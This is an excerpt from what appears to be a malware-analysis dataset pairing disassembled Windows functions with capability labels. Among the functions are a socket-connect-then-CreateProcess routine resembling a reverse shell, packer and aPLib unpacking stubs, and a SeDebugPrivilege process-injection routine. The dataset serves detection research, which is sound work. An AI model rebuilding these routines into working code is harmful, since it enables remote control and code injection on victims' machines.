joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001070
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov ecx, 0x202
lea rdx, [rsp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400010b9
lea rcx, str.The_Winsock_dll_not_found__n
call fcn.140001010
jmp 0x1400010cd
lea rdx, [rsp + 0x201]
lea rcx, str.The_Winsock_dll_found__status:__s._n
call fcn.140001010
xor esi, esi
mov edi, 2
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov ecx, edi
mov dword [rsp + 0x20], esi
lea edx, [rsi + 1]
lea r8d, [rsi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0xc61
mov word [rsp + 0xc0], di
mov rbx, rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.127.0.0.1
mov word [rsp + 0xc2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea r8d, [rsi + 0x10]
mov rcx, rbx
lea rdx, [rsp + 0xc0]
mov dword [rsp + 0xc4], eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x140001166
nop dword [rax]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x10
lea rdx, [rsp + 0xc0]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140001140
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rbx
movups xmmword [rsp + 0xa0], xmm0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0x48], rax
lea rdx, [0x1400022e4]
lea rax, [rsp + 0x50]
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x8c], pe_nt_image_headers64
movups xmmword [rsp + 0x90], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140001250
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140001b10
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b5a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b5a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b5a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b5a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b5a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b5c
xor al, al
add rsp, 0x28
ret
Function at 0x14005e9f0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005e9fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005ea0d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14005e9f5
lea eax, [rcx + 1]
jmp 0x14005ea1b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14005ea2e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14005ea14
sub eax, 3
jb 0x14005ea4e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14005ea9d
sar eax, 1
movsxd rbp, eax
jb 0x14005ea84
jmp 0x14005ea5c
add ebx, ebx
jne 0x14005ea5a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005ea84
inc ecx
add ebx, ebx
jne 0x14005ea6a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005ea84
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14005ea7d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14005ea6c
add ecx, 2
jmp 0x14005ea89
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14005e9b2
jmp 0x14005e9fd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x23e00
mov dl, 0x12
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14005eae9
cmp rsi, rcx
jae 0x14005eaf1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14005ead0
cmp al, 0x8f
ja 0x14005ead0
cmp byte [rsi - 2], 0xf
je 0x14005ead6
sub al, 0xe8
cmp al, 1
ja 0x14005eaba
cmp rsi, rcx
jae 0x14005eaf1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14005eac0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14005eaf1
lodsb al, byte [rsi]
jmp 0x14005ead0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x5c000]
mov eax, dword [rdi]
or eax, eax
je 0x14005eb5a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x6d4bc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005eafe
jns 0x14005eb33
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14005eb3d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14005eb54
mov qword [rbx], rax
add rbx, 8
jmp 0x14005eb1e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14005eb94
cmp al, 0xef
ja 0x14005eb86
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14005eb66
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14005eb75
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14005ebe8
sub rsp, 0xffffffffffffff80
jmp 0x14000af60
Function at 0x180001670
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x410
mov rdi, rsp
mov ecx, 0x104
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x420]
mov rax, qword [0x18001a010]
xor rax, rsp
mov qword [rsp + 0x400], rax
lea rcx, [0x18001e01f]
call fcn.18000de3c
mov dword [rsp + 0x20], 0
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0x420]
mov edx, 0x40
lea rcx, [rsp + 0x40]
call fcn.1800048d0
lea rax, [rsp + 0xe0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x168]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0xe0], 0x68
lea rax, [rsp + 0x1a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0x1a0], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x3e8], rax
cmp qword [rsp + 0x3e8], 0xffffffffffffffff
jne 0x180001759
jmp 0x180001820
lea rdx, [rsp + 0x1a0]
mov rcx, qword [rsp + 0x3e8]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18000177d
jmp 0x180001820
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x1cc]
call fcn.180004a90
test eax, eax
jne 0x1800017f4
mov r8d, dword [rsp + 0x1a8]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x3f0], rax
cmp qword [rsp + 0x3f0], 0
je 0x1800017f4
mov rcx, qword [rsp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x428]
mov ecx, dword [rsp + 0x1a8]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x3e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x20], 1
jmp 0x180001820
lea rdx, [rsp + 0x1a0]
mov rcx, qword [rsp + 0x3e8]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000177d
mov rcx, qword [rsp + 0x3e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
mov edi, eax
mov rcx, rsp
lea rdx, [0x1800170e0]
call fcn.18000ddc8
mov eax, edi
mov rcx, qword [rsp + 0x400]
xor rcx, rsp
call fcn.180002780
add rsp, 0x410
pop rdi
ret
Function at 0x180001930
Capabilities:
Acquire debug privileges

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xd8
mov rdi, rsp
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xf0]
mov rax, qword [0x18001a010]
xor rax, rsp
mov qword [rsp + 0xc0], rax
lea rcx, [0x18001e01f]
call fcn.18000de3c
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rsp + 0xa8], 0
mov eax, dword [rsp + 0x100]
mov qword [rsp + 0xb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0xb8]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
jne 0x180001a06
jmp 0x180001b3e
mov eax, dword [rsp + 0x100]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xf8]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001ab9
mov dword [rsp + 0x88], 1
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x94], 2
mov eax, 0xc
imul rax, rax, 0
lea rax, [rsp + rax + 0x8c]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x180001aae
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x88]
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0xf0]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x180001add
jmp 0x180001b3e
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x108]
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, dword [rsp + 0x100]
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0x48]
call fcn.1800022c0
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x180001b2c
jmp 0x180001b3e
mov dword [rsp + 0x40], 1
xor eax, eax
test eax, eax
jne 0x1800019c3
cmp qword [rsp + 0x48], 0
je 0x180001b51
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0xa8], 0
je 0x180001b75
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0xa8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rsp + 0x40]
mov edi, eax
mov rcx, rsp
lea rdx, [0x180016fc0]
call fcn.18000ddc8
mov eax, edi
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.180002780
add rsp, 0xd8
pop rdi
pop rsi
ret
Function at 0x180001bb0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x50
mov rdi, rsp
mov ecx, 0x14
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x60]
lea rcx, [0x18001e01f]
call fcn.18000de3c
mov dword [rsp + 0x20], 0
xor eax, eax
mov word [rsp + 0x24], ax
xor eax, eax
mov word [rsp + 0x28], ax
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x68]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x18]
cmp eax, 0x10b
jne 0x180001c57
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x40]
movzx eax, word [rax + 6]
mov word [rsp + 0x28], ax
jmp 0x180001ca3
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x180001c99
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x48]
movzx eax, word [rax + 6]
mov word [rsp + 0x28], ax
jmp 0x180001ca3
jmp 0x180001d6c
mov eax, 0x28
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x14]
cmp dword [rsp + 0x60], eax
jae 0x180001ccd
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x20], eax
jmp 0x180001d6c
xor eax, eax
mov word [rsp + 0x24], ax
jmp 0x180001ce3
movzx eax, word [rsp + 0x24]
inc ax
mov word [rsp + 0x24], ax
movzx eax, word [rsp + 0x24]
movzx ecx, word [rsp + 0x28]
cmp eax, ecx
jge 0x180001d6c
movzx eax, word [rsp + 0x24]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0xc]
cmp dword [rsp + 0x60], eax
jb 0x180001d67
movzx eax, word [rsp + 0x24]
imul rax, rax, 0x28
movzx ecx, word [rsp + 0x24]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x30]
mov eax, dword [rdx + rax + 0xc]
mov rdx, qword [rsp + 0x30]
add eax, dword [rdx + rcx + 0x10]
cmp dword [rsp + 0x60], eax
jae 0x180001d67
movzx eax, word [rsp + 0x24]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0xc]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
movzx ecx, word [rsp + 0x24]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x30]
add eax, dword [rdx + rcx + 0x14]
mov dword [rsp + 0x20], eax
jmp 0x180001d6c
jmp 0x180001cd6
mov eax, dword [rsp + 0x20]
add rsp, 0x50
pop rdi
ret
Function at 0x180001d80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov rdi, rsp
mov ecx, 0x1c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x80]
lea rcx, [0x18001e01f]
call fcn.18000de3c
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x50], 0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x18]
cmp eax, 0x10b
jne 0x180001e3a
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
lea rax, [rcx + rax + 0x78]
mov qword [rsp + 0x38], rax
jmp 0x180001e71
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x180001e67
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x38], rax
jmp 0x180001e71
jmp 0x180001fd6
mov rdx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax]
call fcn.180001bb0
mov eax, eax
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x20]
call fcn.180001bb0
mov eax, eax
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
call fcn.180001bb0
mov eax, eax
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x24]
call fcn.180001bb0
mov eax, eax
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x50]
dec eax
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x60], 0
je 0x180001fd6
mov rdx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax]
call fcn.180001bb0
mov eax, eax
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rdx, str.RdvServiceMain
mov rcx, qword [rsp + 0x58]
call fcn.1800025e0
test rax, rax
je 0x180001fb5
mov rdx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
call fcn.180001bb0
mov eax, eax
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax*4]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax]
call fcn.180001bb0
mov dword [rsp + 0x20], eax
jmp 0x180001fd6
mov rax, qword [rsp + 0x38]
add rax, 4
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x48]
add rax, 2
mov qword [rsp + 0x48], rax
jmp 0x180001f0c
mov eax, dword [rsp + 0x20]
add rsp, 0x70
pop rdi
ret
Function at 0x1409210b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140921237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1409210e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409210c7
add dl, dl
jne 0x1409210ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14092114e
xor eax, eax
add dl, dl
jne 0x1409210fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140921205
add dl, dl
jne 0x14092110e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14092111b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140921128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140921135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140921142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1409210d6
mov eax, 1
add dl, dl
jne 0x14092115e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14092116b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140921153
sub eax, ebx
mov ebx, 1
jne 0x1409211a4
mov ecx, 1
add dl, dl
jne 0x140921186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140921193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14092117b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409210d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1409211c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409211cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409211b5
cmp eax, 0x7d00
jae 0x1409211f3
cmp eax, 0x500
jb 0x1409211ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409210d6
cmp eax, 0x7f
ja 0x1409211f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409210d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14092122a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1409210d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x416240
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4163eb
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00430820
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
nop
jne 0x4162ae
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x4162c1
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x4162e5
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x4162f9
cmp rbx, 0x1000
jae 0x4162b8
nop
jmp 0x416369
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x41630d
xor edx, edx
jmp 0x416360
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00430820
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop
test dl, dl
jne 0x4162ef
jmp 0x4162d5
call fcn.00461bc0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00435980
lea rax, [0x004da129]
mov ebx, 0x18
nop dword [rax + rax]
call fcn.00436280
mov rax, qword [rsp + 0x38]
call fcn.00435f80
lea rax, [0x004da1b9]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00436280
mov rax, qword [rsp + 0x30]
call fcn.00435f80
call fcn.00435be0
call fcn.00435a00
lea rax, [0x004dc391]
mov ebx, 0x21
call fcn.00434200
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e020
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00416240
Function at 0x416420
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41664a
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004308a0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x41649b
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x4164ae
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x4164d0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x4164e4
cmp rbx, 0x1000
jae 0x4164a5
jmp 0x41656e
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x4164f6
xor esi, esi
jmp 0x416560
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax]
call fcn.004308a0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
test sil, sil
jne 0x4164da
jmp 0x4164c2
call fcn.00461bc0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x4165e9
call fcn.00435980
lea rax, [0x004da556]
mov ebx, 0x19
call fcn.00436280
mov rax, qword [rsp + 0x68]
call fcn.00435f80
lea rax, [0x004da1b9]
mov ebx, 0x19
nop
call fcn.00436280
mov eax, dword [rsp + 0x34]
call fcn.00435f80
call fcn.00435be0
call fcn.00435a00
lea rax, [0x004d6fba]
mov ebx, 0xd
call fcn.00434200
cmp eax, 0x5af
je 0x416593
call fcn.00435980
lea rax, [0x004da556]
mov ebx, 0x19
call fcn.00436280
mov rax, qword [rsp + 0x38]
call fcn.00435f80
